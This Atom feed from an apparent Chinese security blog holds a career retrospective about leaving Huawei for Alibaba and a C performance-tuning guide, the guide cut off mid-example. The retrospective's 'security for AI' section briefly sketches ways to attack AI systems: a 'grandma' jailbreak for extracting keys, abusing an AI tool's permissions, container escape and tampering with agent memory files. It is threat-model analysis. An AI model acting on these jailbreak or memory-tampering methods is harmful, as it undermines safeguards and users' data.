<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>风之栖息地</title>
  
  <subtitle>habitat of wind</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://hurricane618.me/"/>
  <updated>2026-04-12T09:40:16.024Z</updated>
  <id>https://hurricane618.me/</id>
  
  <author>
    <name>hurricane618</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>纪念我那跌宕起伏的2025，也是工作三年多的小结</title>
    <link href="https://hurricane618.me/2026/04/12/my-2025-and-3-years-working-summary/"/>
    <id>https://hurricane618.me/2026/04/12/my-2025-and-3-years-working-summary/</id>
    <published>2026-04-12T09:40:16.000Z</published>
    <updated>2026-04-12T09:40:16.024Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>没想到吧，等来的不是我的工作总结大论文，而是一篇小结（主要是没想到阿里的试用期压力真的大，各位看官 6.30 应该没问题的，先把饼子画上）。已经好久没写博客了，给我要发的文章预热的同时，也是给自己设置个ddl，毕竟ddl才是生产力！</p><p>不知道大家最近过的还好嘛？有在努力工作，快乐生活嘛？这才没过几年，世界已经发生了翻天覆地的变化。科技有AI，时政有战争，而我还是那个坚持古法写作的小小社畜。</p><h2 id="我的2025"><a href="#我的2025" class="headerlink" title="我的2025"></a>我的2025</h2><p>之前就有预感2025年或许是我的转折之年，只是没想到这个转折还是有点出乎我的意料。</p><h3 id="一些背景"><a href="#一些背景" class="headerlink" title="一些背景"></a>一些背景</h3><p>在2024年上半年，部门的组织架构就出现了调整，安全组的地位直线下降。在同一年，我也肝完了在华为最有技术含量的一个大项目+一个小项目，当时就觉得已经来到了瓶颈期，再加上我在自己内心是有个时间线，在这个部门待2-3年学习基础知识和安全特性打好自己的基础，未来还是要以更深入的安全研究为目标。在这个前提之下，我是打算无论怎么样，2025年是要换个坑位和方向，然而很多时候真的世事难料吧……</p><h3 id="突然被锁"><a href="#突然被锁" class="headerlink" title="突然被锁"></a>突然被锁</h3><p>在华为工作过的人应该知道被锁的意思吧，给不太了解这个机制的人科普一下。华为有一个神秘的短名单机制，这个短名单是为了专门给部门拿来做优化人员使用，被放进短名单中的人意味着你是部门的优化指标，这个时候内部的转岗调动将会失败。当然，短名单这个锁定机制里面放着的人不一定就是要被优化，有些时候往往就是主管觉得你可能会跑路，就会通过开会决议把你放进去。我还见过某些部门全员被锁定的状况（狗头）。</p><p>科普结束之后，来讲讲我当时的状况。我就是25年年初在等绩效结果的那段时间之前，就开始在规划后续要跳槽的部门了，早在24年年中的时候就开始在各路联系。因此，可以看出来我的规划时间特别靠前，也算是未雨绸缪吧，结果没想到我在25年年初知道绩效之后准备提桶跑路，对面部门给我发offer失败了。这也就意味着我进入了短名单（摊手），当时知道这个结果十分震惊，要知道我2024年的代码量在整个部门都是top3，还是第一季度的优秀coder，很难想象居然是这种情况。</p><p>事后自己反思总结，可能是因为安全领域在那个时候已经不被重视了吧，再加上2025年年初有另外一个兄弟（待锁定目标）在得知绩效结果的那一刻直接点了转岗，或许是因为这个结果让我成了下一个垫背的人。以后再出现这种情况时，一定要下手果断，该跑路就跑路~ 有时候差了几天，就是一个天上一个地下。（不过我当时还有另外一个考虑导致接收offer慢了，跑晚了，这里就不提了）</p><h3 id="盘活死局"><a href="#盘活死局" class="headerlink" title="盘活死局"></a>盘活死局</h3><p>说实话，一开始真的很绝望，曾经的PL也是我的学长打电话过来安慰我，当时都差点想哭，那种棋差一招的滋味真的很难受。浑浑噩噩了一周左右，大概还是因为读研期间被IIE折磨过（大雾？），有了一定的抗性，渡过艰难的情绪低谷之后，开始继续思考未来的对策。<strong>在绝望中继续保持战斗，属于我的黄金精神！</strong></p><p>既然内部转岗已是死路，那么就只能向外看。</p><p>首先是准备简历，先是梳理自己这几年来工作项目，把有亮点的东西汇总出来，尽量别太多只写top3级别的贡献项目，以之前校招的面试经验，一轮面试能讲的项目没多少个。</p><p>其次，把简历上的项目细节亲自摸一遍，至少能知道细节，能知道原理，能知道设计等等内容，让面试官提问时知道你的功力。</p><p>最后，把相关联的知识都要全部过一遍。我就是整理出了Linux系统所有的攻防知识，Linux内核的大部分流行的防御机制原理，攻击技巧的原理等都掌握一遍。</p><p>有了上面的积累，大厂的面试几乎都能乱杀了（只不过当时因为还没面，所以心里仍然很忐忑，不知道我的能力在市场上是什么水平）。我去面了现在的BAT（字节、阿里、腾讯）+一家伪国企，先拿伪国企天翼云练手，没想到结果是吊锤一面面试官，和二面面试官平分秋色，和三面面试官（大领导面）谈笑风生。一下子信心就开始爆棚，原来我还是可以的嘛~</p><p>至于岗位从哪里找？我是 脉脉 + 公司官网招聘页面，双管齐下。脉脉上有不少的猎头，可以加着猎头去获取更多的招聘信息，当然有些猎头也很恶心，一直追着你问让你投各种垃圾岗位，所以一定要小心谨慎。脉脉上也有各家公司的hr在，所以有些时候单独找这些hr单独聊岗位也是个选择。不过有些时候脉脉上的职位信息不完整，这个时候就需要去对应公司的官网招聘页面再看一眼。</p><p>至于我最后的结果，都是不错的，凡是参加的面试的公司全部拿到了offer。也算是盘活了我的职业生涯，让我还能继续追逐我的安全之路。</p><h2 id="工作三年多的沉思"><a href="#工作三年多的沉思" class="headerlink" title="工作三年多的沉思"></a>工作三年多的沉思</h2><h3 id="职场的规则"><a href="#职场的规则" class="headerlink" title="职场的规则"></a>职场的规则</h3><h4 id="向上管理"><a href="#向上管理" class="headerlink" title="向上管理"></a>向上管理</h4><p>这已经是被人说烂了的东西，毕竟领导的时间和精力都有限，不可能关注到每个人方方面面的细节，这个时候就要做好向上呈现的工作，展示你的能力和思考。这些东西都是你未来进一步发展的根基，让领导知道你有潜力继续成长，并且能站在更高维度去思考，而不仅仅是一个螺丝钉。当然这些思考也是需要你用业绩和产出来说话的，有了产出才能有锦上添花的作用。</p><p>周报月报什么的，尽量能详细记录，让领导知道整个项目目前的进展如何，有什么风险，这样能给他们一种掌控感。否则，领导一焦虑下面的人是没什么好果子吃。</p><h4 id="事务优先级"><a href="#事务优先级" class="headerlink" title="事务优先级"></a>事务优先级</h4><p>当面对爆炸般的工作事物涌向你时，给这些事物排个优先级很重要，毕竟工作是干不完的（狗头），强行肝完只会让你的身体承受不住。我之前的经验都是直接找+1领导，问他哪些事情特别重要且紧急，然后就优先做这些事情，其他事情就先临时放一放。这样做的好处，自然就是请示了领导，后面如果有其他人来push你干他的活，你就能拉上自己的领导一起把一些不重要的事情顶出去。</p><p>当然有些对你自己事业发展有好处的事情，我自己会在内心深处给它偷偷提升优先级，毕竟打工的目的还是为了提升自己。所以我的排序一般是：<strong>紧急重要 &gt; 紧急 ≈ 重要（对自己）&gt; 重要（对团队）&gt; 其他杂事。</strong></p><h4 id="平台资源"><a href="#平台资源" class="headerlink" title="平台资源"></a>平台资源</h4><p>一般大厂都会有自己的一些福利措施，该薅羊毛的就去薅，比如什么夜宵，餐补，活动小礼物等。这里就提一些福利资源之外的大厂平台资源。</p><p><strong>（1）人脉</strong></p><p>别的不说，能在大厂打工的人，或多或少都是有几把刷子的人。细心去观察那些大佬/同事的工作方式，向他们学习做事的流程，思考的方式，汇报的逻辑等等。不仅仅能遇到业界的顶流，还能有机会和他们深入讨论问题，这种机会在外面可不常见。最后，就是加联系方式了，也算是拓圈子吧，但对于小虾米的我来讲，和大佬们实在没什么话说，倒是和同龄人一起吐槽很多。🤣</p><p><strong>（2）项目</strong></p><p>大厂的项目虽说鱼龙混杂，有含金量的也是不少，如果能自己上手拿到这是最好不过的事情，如果不行也可以找做这些项目的人请教学习。至少在华为，很多项目都会有资料输出总结，以及对应的ppt分享，这些都是难得的学习资料。有空余时间的情况下，抓紧学习吸收这些内容，能让你的成长和眼界都更上一层楼。</p><p><strong>（3）知识分享</strong></p><p>内部的各种知识分享平台，这里通常是各种大佬和大牛分享文章的地方，你能学到前沿的知识分享，深刻的洞察经验，细节丰富到让你瞠目结舌的技术拆解。很多时候，没办法直接和领域大佬对话时，多学习他们的文章也是一个途径。在华为时，除了技术的文章，我也看到了很多对公司制度，社会制度，人性和职场的思考。</p><p><strong>（4）组织结构与流程</strong></p><p>大厂之大，需要复杂的管理结构和流程来管理，能良好运转多年的大厂，必定有一套自己的东西在这种管理模式之中。很多流程不一定正确，我们可以从旁边者的视角去审视这些流程，它运行的逻辑和道理是什么？它的利弊是什么？这些思考都能让你理解大厂的很多组织变动和领导的想法。</p><p>华为比较有趣的地方就在于有很多评审流程，而且是不同的东西有不同的评审会议。</p><p>CCB：变更评审会议；TMG：技术评审会议；RAT：需求评审会议；TDT会议：部门级裁决会议 等等。</p><h4 id="但行好事"><a href="#但行好事" class="headerlink" title="但行好事"></a>但行好事</h4><p>工作的时候有些小忙能帮的就帮一下，比如在某些你专长的技术领域，别人有疑问的地方，可以帮别人解答疑惑。有些别的部门请求的资源，在有+1领导的许可下，也是能给就给，部门墙不应该阻隔人与人之间的项目合作。有些我写的技术总结文章，能分享出来就分享出来，比如我在内网的SELinux问题汇总已经传遍整个ICT领域，这也是一种建立个人影响力的过程。</p><p>当然，也不能无限的当老好人，有人想来无限白嫖你的时候，要及时止损！</p><p>最后，非常欣慰的一点是，所有和我有过项目合作的兄弟，无论是同部门还是跨一级部门，在知道我要跑路之后，都纷纷向我发来祝福。或许，这就是但行好事莫问前程最好的体现吧。（都加上了微信，后续还能一起吐槽前司，哈哈哈）</p><h3 id="华为的困境"><a href="#华为的困境" class="headerlink" title="华为的困境"></a>华为的困境</h3><p>在华为跑路之前，我在内网心声社区上了写了一篇《华为那些直击灵魂的帖子》（浏览量听说已经破11w+了，害怕），里面汇总了我在华为期间看到的非常有营养的帖子内容。这里我就浅浅写一点自己的感受。</p><h4 id="青黄不接的业务"><a href="#青黄不接的业务" class="headerlink" title="青黄不接的业务"></a>青黄不接的业务</h4><p>原有的老业务已经做到了头，而华为有很神奇的制度是，必须要有新增业务代码才能拿到预算。原有的老代码维护，不给你预算投资。典型的硬件盒子思维，想想硬件领域就是如此，没有硬件修改那么以后也不会出现变更。但软件不是如此，软件像是一条又一条持续不断地线，它每过几个月就会和之前几个月发生变化，然后过个1-2年又会有架构重构，这对原有的老特性天然会变成负担。这造成的结果就是在华为，新起炉灶比在那里修旧炉子要划算不少，因为新炉子能要来很多的预算，而旧炉子的缝缝补补只能算增强改进，预算极为稀少。但是万一旧炉子非常厉害怎么办呢？新炉子比不过它，也会强压着做人海战术进行上马，这也是为啥华为总是很卷的根因之一，明知道这样很累，偏要走这条更苦逼的路。</p><p>有部分旧有业务领域，大家找不到新业务的方向在何方，问了领导，领导说他也不知道，但是有几个idea，你去康康吧，所以只能广撒网不停地探索。那么代价就是所有人在已经有旧业务的情况下，还需要投入一部分时间精力去探索新业务，最后的结果自然是越来越忙，越来越累了。所有人都在焦虑，领导在为团队的未来发展焦虑，普通小兵在不停的迷茫探索中产生焦虑。</p><h4 id="粗暴的项目管理"><a href="#粗暴的项目管理" class="headerlink" title="粗暴的项目管理"></a>粗暴的项目管理</h4><p>随意抽调的人力资源，都在为了自己的项目抢人。我们都知道一般在企业里面你会有个直属领导，但在华为你可能会被其他层级的领导给派活，也就是所谓的透传，在你的+1直属领导都不知情的情况下让你去打黑工。经常会出现非常滑稽的场景：几个+2的领导在那里抢人，说这个人要来我这个项目干活，我这个对部门更重要 blabla。这就会出现，本来这几个月你还在干着这个A项目的事情，第二天就被派去另外一个B项目去救火了，然后火救到一半发现火变小了，又被派到其他地方去救急C项目。</p><p>有些项目汇报看似稳扎稳打，实际都是yy出来的进展，一个月开发半年工作量的事情比比皆是。厚重的流程，让大部分开发的时间特别紧张，毕竟新开发的代码还需要测试，还需要配合下游进行调试，最后如果有问题，上述的流程就要重新来一遍。</p><h4 id="高压的绩效与创新困境"><a href="#高压的绩效与创新困境" class="headerlink" title="高压的绩效与创新困境"></a>高压的绩效与创新困境</h4><p>传说中强制实行的361比例，每个团队每年必须淘汰10%的人，再结合华为每半年就要考核一次，基本上就是说每半年都会有人会被干掉。在这种高压的环境下，每个人都很紧绷，年初就要开始规划这一整年的事务，很多时候你的绩效从年初的任务就已经决定好了。</p><p>各级主管自身的绩效压力，自上而下的残酷。强大的压力也让上层主管动作变形，为了自己的前途，宁愿牺牲部门未来发展的潜力，只求能在自己三年的任期中做出亮眼的结果，能让自己的下一跳跳的更高。没人会想着怎么样规划对部门自身更加友好，没人想要去大规模的创新，因为创新也就意味着有失败的可能性，没有人愿意去承担失败的代价，一次失败在华为基本意味着结束。这种扭曲的环境，让人根本没有创新的欲望，所有人只想着以最安全的步伐，小步进行微创新，只要你没犯错，别人犯错了，你就是赢家。<strong>华为只惩罚犯错者，不惩罚平庸者。</strong></p><p>在提完离职之后，我和我当时的 +1 +2主管在会议室畅聊了一个多小时，本来我觉得半小时就能聊完，最后硬是聊了一小时多，他们只想在会议室里多待一会儿，就是想喘口气暂时不想去面对那些b事。+2：要不是我身上还有房贷，我也不想在这里做这些sb事情，早上的会又被xx总骂了（我的+3），我TM都要emo了。</p><h3 id="阿里的初体验"><a href="#阿里的初体验" class="headerlink" title="阿里的初体验"></a>阿里的初体验</h3><p>毕竟才刚进来一个多月，肯定有很多事情没有最为直观的感受。这里只记录一些作为社招新员工的感想。</p><h4 id="基于信任的管理方式"><a href="#基于信任的管理方式" class="headerlink" title="基于信任的管理方式"></a>基于信任的管理方式</h4><p>最为直接的一点，那就是不打卡。这点真是让我爽到了，作为一个在读研开始就在打卡的人来说，第一次感受到了这种舒服。有那么一次，我睡过头了，早上9点半才起床，抓紧时间赶过去也没有人责备，没有扣钱，真好呀。</p><p>年假贼多，阿里集团刚入职旧有 7天年假 + 7天陪伴假，一共14天。这在华为完全不敢想，华为要入职满一年之后的第二年才会有，而且华为年假是几乎不会有人请的存在。。。毕竟请年假要扣你的年终奖。</p><p>1、3、5这种周年纪念品，整挺好（有小礼物挺好的，不过作为打工人也不能太认真了，该开除你还是会不择手段开除你）</p><h4 id="抽象的HR"><a href="#抽象的HR" class="headerlink" title="抽象的HR"></a>抽象的HR</h4><p><strong>你能为公司带来什么样的价值？你如何证明自己的技术先进性？</strong></p><p>这是我当时HR面的两个最为抽象的问题，我应该怎么说呢？搞安全就是为公司解决安全相关的难题，提升攻击者的攻击成本，减少公司的安全风险和危机事件。但看上去HR并不满意？我也不知道该说什么了。。。另外一个技术先进性，也只能放在世界范围内看技术pk对比情况了。总之，很抽象，不愧是被大家称作政委的存在，上来就给我训了一顿，还好给我发offer了。</p><h4 id="自由背后的限制"><a href="#自由背后的限制" class="headerlink" title="自由背后的限制"></a>自由背后的限制</h4><p>有竞业协议的存在，我在华为的时候很少听到内部会用竞业协议去限制某个人，除非是终端或者海思那边的核心岗位。但在阿里这边，好像开启竞业的情况较为普遍，虽然也有钱拿，对于个人的职业规划来说，肯定会有较大的影响，我的一个同事跑路就吃了6个月的竞业。</p><p>旁边做编译器相关工作的兄弟居然只能拿丐版mac mini跑构建，我满脸问号？？？我在华为期间就时常和编译器团队打交道，我知道llvm的构建极其耗时，华为那边都是拿64核 512G的服务器做构建，但在阿里居然只拿一个小pc跑构建？听那个兄弟说构建基本上要接近一天，还不能直接调用云那边的服务器做。看来莫名其妙的约束和部门墙真的在哪里都有。</p><p>没有插线板，这点最为让我震惊！说是为了安全防火隐患，这话你们信吗？反正我是不信的，这种企业级供电肯定要考虑插座的供电能力，如果有这种莫名其妙的限制，那说明之前在设计线路的时候就偷工减料了。</p><h4 id="流失率的疑惑？"><a href="#流失率的疑惑？" class="headerlink" title="流失率的疑惑？"></a>流失率的疑惑？</h4><p>我周围的兄弟都是社招进来只有半年左右，入职5年+的老员工很稀少，这么来看华为的老员工还是相对较多。为什么阿里的安全团队组成这么奇怪？大概还有我不为所知的坑在那里吧。按照马老师的说话，员工跑路要么是钱少了，要么是受委屈了，可能在阿里整体收益趋于平稳的现在，钱的增长没之前那么快了，很多人选择跑路去字节拿高薪。至于受委屈，我在目前的团队感觉尚可，可能以后会有更深的体会，但就和周围平级同事的了解来看，受委屈应该是不至于。</p><h2 id="未来已经到来，只是尚未流行"><a href="#未来已经到来，只是尚未流行" class="headerlink" title="未来已经到来，只是尚未流行"></a>未来已经到来，只是尚未流行</h2><p>按照我的惯例，写一点对于AI未来的想法。只不过，就看目前AI发展的速度，真的是远超我的想象。</p><h3 id="AI-for-security"><a href="#AI-for-security" class="headerlink" title="AI for security"></a>AI for security</h3><p><strong>我在看到chatgpt那种出色的语言和代码理解能力的时候，我就已经知道静态分析的最后一块拼图来了。</strong>传统静态分析思路：数据流分析、符号执行、程序切片等，都是想以一种方式来对代码语义做抽象，并在抽象之后告诉人们它在做什么。而大模型直接就蹦出来了，出色的写代码能力，以及当时就能做一些基础问题的审计。而在2026年的今天，我相信安全圈的大家已经看到了A社的模型在安全圈大杀四方的表现，什么浏览器xx个0day，9分钟挖出vim的RCE等等新闻。</p><p>那么未来，它能做到什么样的程度呢？再过一年就能直接写OS和虚拟机这种顶级基础软件，顺带着去挖这些产品的安全漏洞？真的很难想象，我都觉得有点过于离谱。<strong>最后的节奏大概率和互联网+一样吧，所有的业务全部被AI重新赋能实现一遍，以后就是AI+了。</strong>比如，原来我们购物是线下购物，后来有了电视就有了电视上广告，电话去购物的场景，再往后，就是互联网上在线购物。未来，我们的购物怕不是直接给我们的私人管家（AI）输入指令，它直接在网上各大平台上搜索对比，看到结果之后我们直接点购买，像现在还去傻乎乎的人工搜索的情况，应该也会变成古法探索了。</p><p>回到安全的话题上，首先是传统的代码审计工作，基本上快灭绝了，机器看的比人看的快N倍，还不会疲倦。其次，逆向分析等工作也差不多进入倒计时，现在之所以逆的还不到位，有些时候是模型的思维还没学会相关的思路，等到了把那些挖掘的skill和mcp tools都掌握了，和安全人员就没什么联系了。之后，传统的漏洞挖掘和利用，大概率也是直接把漏洞点，poc和exp全部一把梭出来，只需要人来决定是否要使用，或者如何去使用。（以上为二进制方向的畅享，web方向也是类似，像是java反序列化利用链，直接通过读源码给你一把梭）</p><p>好像搞得人有点焦虑了，哈哈哈哈，我预估这个过程应该还要个2-3年，需要把专家的经验全部固化下来，然后被AI消化吸收，掌握利用。趁着这段时间努力拥抱AI吧！后续的展望，一个人的系统设计能力，攻击面的探索能力，全局思维和规划能力会比单纯的代码编写能力更加重要。（人人都是架构师的时代要来了，一人成军）</p><h3 id="security-for-AI"><a href="#security-for-AI" class="headerlink" title="security for AI"></a>security for AI</h3><p>有了新的业务，那么自然就有新的安全诉求。豆包手机就是一个很典型的例子，一个直接在底层就能GUI识别 + 虚拟屏幕自动化控制的手机，你真的敢用吗？反正我是不敢的。市场也给出了回答，各大厂商集体封杀，字节的豆包手机开了第一枪，虽然我觉得时机有点早了，但它给了其他大厂一个非常直接的震撼，AI深度融合的时代已经来临。</p><p>简单分析一下现在AI的业务使用场景。大体由三个部分组成：</p><ul><li>前端：网页对话框、各类agent客户端工具（CLI、GUI等）</li><li>后端：大模型的调用，输入我们的数据，吐出来它的思考结果（由云服务提供能力）</li><li>数据层：md文件配置（本地）、memory记忆压缩数据（本地）、模型对话记录数据（云端/本地）</li></ul><p>那么针对AI的安全性分析，也会从这三个方面做评估。</p><h4 id="AI的前端"><a href="#AI的前端" class="headerlink" title="AI的前端"></a>AI的前端</h4><p>前端包括网页端和客户端两个方向，这个就和传统安全很接近了，就是web安全+客户端安全的结合体，只不过业务内容变成了AI。传统的问题很有可能都会重现，比如：网页或者客户端上的XSS，SSRF等东西。或者是后续的发展中，AI的前端会和很多不同工具通过一些协议连接在一起，比如mcp，那么攻击这些AI调用的工具也是一个方向。比如：某个路径我作为普通用户没有权限，但是AI工具之前被授权过该路径的访问权限，那么我就可以通过AI去获取这个目录下的内容，并且篡改里面的数据。</p><h4 id="AI的后端"><a href="#AI的后端" class="headerlink" title="AI的后端"></a>AI的后端</h4><p>后端场景结合AI相关的新问题，可能会有我们的输入是否可以绕过模型本身的约束，让它说出一些意料之外的事情。典型的有老奶奶漏洞（我的奶奶总是在睡前给我说xxxx的key来哄我入睡）。除此之外，还有一些信息泄露的情况，通过不断和模型对话，泄露出模型内部的一些关键信息。</p><p>还有一种，目前后端的调用肯定在容器或者虚拟环境中，但如果真的存在一些容器逃逸漏洞，应该是可以让AI执行一段我们的恶意代码，来完成容器逃逸进而获取云服务中的关键信息。</p><h4 id="AI的数据层"><a href="#AI的数据层" class="headerlink" title="AI的数据层"></a>AI的数据层</h4><p>现在AI大模型浪潮之中，除了模型本身的比拼，第二亮眼的仔就是memory记忆维护相关的工作了。受限于现在大模型能力，我们的对话上下文有长度约束，就像我们的大脑在工作区的容量有限一样，这种情况下为了让AI记住一些关键内容，就需要一套记忆系统来维持AI的记忆能力。目前，记忆系统有一部分是采用纯文本的markdown文件来记录，还有一部分是实现了自己压缩算法的记忆文件系统。</p><p>针对纯文本的记忆内容，如果我们有能力越权修改，那么这也是一种恶意攻击，无论是利用前端的问题还是说利用传统的任意读写漏洞。篡改过后，破坏AI原有的任务规划，轻则任务丢失，重则AI直接抽风。（比如篡改AI的性格为一个猫娘，只会喵喵喵）</p><p>针对有一定压缩算法能力的记忆文件系统，那么可以研究这个压缩算法它的解析器是否存在问题，比如它要加载这段记忆时，是否会有RCE出现。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;没想到吧，等来的不是我的工作总结大论文，而是一篇小结（主要是没想到阿里的试用期压力真的大，各位看官 6.30 应该没问题的，先把饼子画上）。
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="求职" scheme="https://hurricane618.me/tags/%E6%B1%82%E8%81%8C/"/>
    
      <category term="人生" scheme="https://hurricane618.me/tags/%E4%BA%BA%E7%94%9F/"/>
    
      <category term="工作" scheme="https://hurricane618.me/tags/%E5%B7%A5%E4%BD%9C/"/>
    
  </entry>
  
  <entry>
    <title>C语言性能优化指南</title>
    <link href="https://hurricane618.me/2024/12/31/C-language-performance-optimization-guide/"/>
    <id>https://hurricane618.me/2024/12/31/C-language-performance-optimization-guide/</id>
    <published>2024-12-31T15:12:38.000Z</published>
    <updated>2024-12-31T15:12:38.027Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在甲方待了一段时间发现，在企业中想要提升安全性或者落地某个新的安全能力，总是需要和业务性能进行对比。如果某个安全特性的性能开销过大，那么对于业务来讲是一种不可接受的代价。因此，安全从业者学习一点性能优化的手段也是非常重要的。这里博主主要在操作系统领域，相关的代码主要以C为主，所以性能优化也是围绕着语言相关特点。</p><p>C语言从代码到可执行文件，再到最终的运行阶段，主要是两个部分组成——编译阶段和执行阶段。针对编译阶段，我们能做的就是尽可能的利用编译器特性和特殊编码技法来优化；执行阶段涉及到指令的热点运行，由于程序执行的局部性原理，我们的大量代码在执行时往往会重复一小段逻辑。因此，性能优化的重点就是在于这些热点函数之中。对于非热点函数，我们则更加关注体积，怎么写能够使得代码编译出来的指令数最少，减少对空间的占用。</p><p>以下则从六种不同的角度，针对C语言程序做优化。</p><h2 id="编译选项"><a href="#编译选项" class="headerlink" title="编译选项"></a>编译选项</h2><p>对于非编译器开发的程序员来说，新增一个编译选项就能搞定的事情，肯定是非常之轻松的活。</p><h3 id="通用编译优化-O"><a href="#通用编译优化-O" class="headerlink" title="通用编译优化 -O"></a>通用编译优化 -O</h3><p>编译器一般会默认一个优化等级，但当我们想要朝着更优的方向前行时，就需要将优化等级调高。这里在编译Linux内核时，默认是-O2，其他平台类二进制需要关注项目本身的设置。如果觉得-O2的效果一般，可以尝试-O3。</p><h3 id="指令架构优化-march"><a href="#指令架构优化-march" class="headerlink" title="指令架构优化 -march"></a>指令架构优化 -march</h3><p>编译器针对不同的指令集以及cpu架构都有着极强的针对性优化（搞编译优化的人是真的顶），比如这里的<code>-march=x86-64-v3</code> 就是针对v3版本的x86-64指令集做专属优化。除了指令集还有cpu架构，比如经典的奔腾，haswell，还有i7等等。同理在ARM架构上也有类似的参数可控选择，根据不同的ARM指令集版本也有不同的参数。</p><p>更多细节可参考：</p><p>x86 <a href="https://gcc.gnu.org/onlinedocs/gcc/x86-Options.html" target="_blank" rel="noopener">https://gcc.gnu.org/onlinedocs/gcc/x86-Options.html</a></p><p>arm <a href="https://gcc.gnu.org/onlinedocs/gcc/ARM-Options.html" target="_blank" rel="noopener">https://gcc.gnu.org/onlinedocs/gcc/ARM-Options.html</a></p><h3 id="链接优化-flto"><a href="#链接优化-flto" class="headerlink" title="链接优化 -flto"></a>链接优化 -flto</h3><p>通过把很多编译优化放在链接阶段执行，实现范围更广的优化面。</p><p><code>-flto</code> 可以在编译时进行全局优化，但整体的时间开销和编译资源开销将大大增加，而 <code>-flto=thin</code> 是一种折衷方案，它在链接阶段进行优化，同时减少了编译时间和资源消耗。</p><p>链接优化的目标：</p><ul><li>内联函数：优化开启之前只能针对单一C源代码优化，开启后能针对全局整体做内联优化</li><li>函数重定位：能通过静态分析调整函数代码位置，减少函数调用链长度</li><li>代码融合：多个代码块合并，减少代码的执行次数</li><li>数据流分析，移除不必要的死代码</li></ul><p>总的来说，链接优化能在全局层面做到更好的优化方案，减少代码体积和增强程序性能。</p><h3 id="关闭安全选项（不推荐）"><a href="#关闭安全选项（不推荐）" class="headerlink" title="关闭安全选项（不推荐）"></a>关闭安全选项（不推荐）</h3><p>作为一个安全从业者，非常的不推荐关闭这些安全选项，反而推荐去开启一些额外的安全编译选项来增强安全能力。但是，在某些性能要求的特殊场景下，确实会关闭某些安全能力来提升性能。</p><p>以下列举一些关闭的方式，但还是要说，这是饮鸩止渴。</p><ul><li><code>-fno-sanitize=all</code> 关闭所有的消毒器</li><li><code>-fcf-protection=none</code> 关闭编译器自带的控制流保护</li><li><code>-fno-harden-compares</code> 关闭针对比较操作的防溢出处理</li><li><code>-fno-harden-conditional-branches</code> 关闭针对条件分支的安全增强</li><li><code>-fno-harden-control-flow-redundancy</code> 关闭控制流冗余检测的安全增强</li><li><code>-fno-hardened</code> 关闭一系列的安全增强选项</li><li><code>-fno-stack-protector</code> 关闭栈溢出保护机制</li><li><code>-fno-stack-check</code> 关闭栈的边界检查功能</li><li><code>-fno-stack-clash-protection</code> 关闭栈冲突保护</li><li><code>-fno-stack-limit</code> 关闭栈大小限制约束</li><li><code>-fno-split-stack</code> 关闭栈切割的安全增强</li><li><code>-fstrub=disable</code> 关闭编译器中的结构化控制流保护</li></ul><h2 id="编码优化"><a href="#编码优化" class="headerlink" title="编码优化"></a>编码优化</h2><p>以下给出的代码示例，均通过在线的编译器网站进行编译反汇编转换。</p><p>网址：<a href="https://godbolt.org/" target="_blank" rel="noopener">https://godbolt.org/</a></p><p>编译器：ARM64 gcc 7.3</p><h3 id="局部变量缓存"><a href="#局部变量缓存" class="headerlink" title="局部变量缓存"></a>局部变量缓存</h3><p><strong>缓存多次访问的全局变量</strong></p><p>当我们有多次访问全局变量的需求时，不要多次使用全局变量，而是把全局变量读出后放入局部变量中，之后的读写都对该局部变量进行，最后的结果数值写回全局变量中，这样能避免频繁的内存空间访问，直接使用栈上的寄存器值。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> sum = <span class="number">0x1234</span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> max_loop = get_loop_size();</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; max_loop; i++) &#123;</span><br><span class="line">        sum += <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里如果有反汇编，就能看到每次读<code>sum</code>时都需要访问一次程序中的全局数据段。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">sum:</span><br><span class="line">        .word   4660</span><br><span class="line">func():</span><br><span class="line">        stp     x29, x30, [sp, -32]!</span><br><span class="line">        add     x29, sp, 0</span><br><span class="line">        bl      get_loop_size()</span><br><span class="line">        str     w0, [x29, 24]</span><br><span class="line">        str     wzr, [x29, 28]</span><br><span class="line">.L3:</span><br><span class="line">        ldr     w1, [x29, 28]</span><br><span class="line">        ldr     w0, [x29, 24]</span><br><span class="line">        cmp     w1, w0</span><br><span class="line">        bge     .L4</span><br><span class="line">        adrp    x0, sum</span><br><span class="line">        add     x0, x0, :lo12:sum</span><br><span class="line">        ldr     w0, [x0]</span><br><span class="line">        add     w1, w0, 1</span><br><span class="line">        adrp    x0, sum</span><br><span class="line">        add     x0, x0, :lo12:sum</span><br><span class="line">     